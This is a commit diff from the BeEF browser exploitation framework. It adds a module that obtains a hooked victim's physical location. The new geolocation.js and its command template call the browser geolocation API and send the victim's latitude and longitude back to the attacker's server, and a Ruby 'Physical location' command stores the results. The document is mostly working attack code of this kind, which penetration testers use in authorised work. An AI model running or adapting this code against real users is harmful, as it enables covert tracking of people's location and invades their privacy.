added geolocation detection (first draft)
git-svn-id: https://beef.googlecode.com/svn/trunk@520 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -18,7 +18,7 @@ module Modules
|
||||
# set up values required to construct beefjs
|
||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js)
|
||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js geolocation.js)
|
||||
|
||||
# construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
|
||||
43
modules/beefjs/geolocation.js
Normal file
43
modules/beefjs/geolocation.js
Normal file
@@ -0,0 +1,43 @@
|
||||
/*!
|
||||
* @literal object: beef.geolocation
|
||||
*
|
||||
* Provides functionalities to use the geolocation API.
|
||||
*/
|
||||
beef.geolocation = {
|
||||
|
||||
/**
|
||||
* check if browser supports the geolocation API
|
||||
*/
|
||||
isGeolocationEnabled: function(){
|
||||
var isEnabled = false;
|
||||
|
||||
if (navigator.geolocation) {
|
||||
isEnabled = true;
|
||||
}
|
||||
|
||||
return isEnabled;
|
||||
},
|
||||
|
||||
/*
|
||||
* retrieve latitude/longitude using the geolocation API
|
||||
*/
|
||||
getVictimGeolocation: function (command_url, command_id){
|
||||
//var result = null;
|
||||
|
||||
if (navigator.geolocation) {
|
||||
navigator.geolocation.getCurrentPosition(
|
||||
function(position){ //note: this is an async call
|
||||
var latitude = position.coords.latitude;
|
||||
var longitude = position.coords.longitude;
|
||||
beef.net.sendback(command_url, command_id, "geoLocEnabled=true&latitude=" + latitude + "&longitude=" + longitude);
|
||||
|
||||
}, function(position){
|
||||
beef.net.sendback(command_url, command_id, "latitude=ERROR&longitude=ERROR");
|
||||
});
|
||||
} else {
|
||||
beef.net.sendback(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
beef.regCmp('beef.geolocation');
|
||||
@@ -0,0 +1,9 @@
|
||||
beef.execute(function() {
|
||||
|
||||
if(beef.geolocation.isGeolocationEnabled()){
|
||||
beef.geolocation.getVictimGeolocation("<%= @command_url %>", <%= @command_id %>);
|
||||
}else{
|
||||
beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "geoLocEnabled=false&latitude=&longitude=");
|
||||
}
|
||||
});
|
||||
|
||||
39
modules/commands/host/physical_location/physical_location.rb
Normal file
39
modules/commands/host/physical_location/physical_location.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
module BeEF
|
||||
module Modules
|
||||
module Commands
|
||||
|
||||
|
||||
class Physical_location < BeEF::Command
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'Name' => 'Physical location',
|
||||
'Description' => %Q{
|
||||
This module will retrieve the physical location of the victim using the geolocation API
|
||||
},
|
||||
'Category' => 'Host',
|
||||
'Author' => ['antisnatchor'],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::ALL
|
||||
}
|
||||
})
|
||||
|
||||
use 'beef.geolocation'
|
||||
use_template!
|
||||
end
|
||||
|
||||
def callback
|
||||
content = {}
|
||||
content['Geolocation Enabled'] = @datastore['geoLocEnabled']
|
||||
content['Latitude'] = @datastore['latitude']
|
||||
content['Longitude'] = @datastore['longitude']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user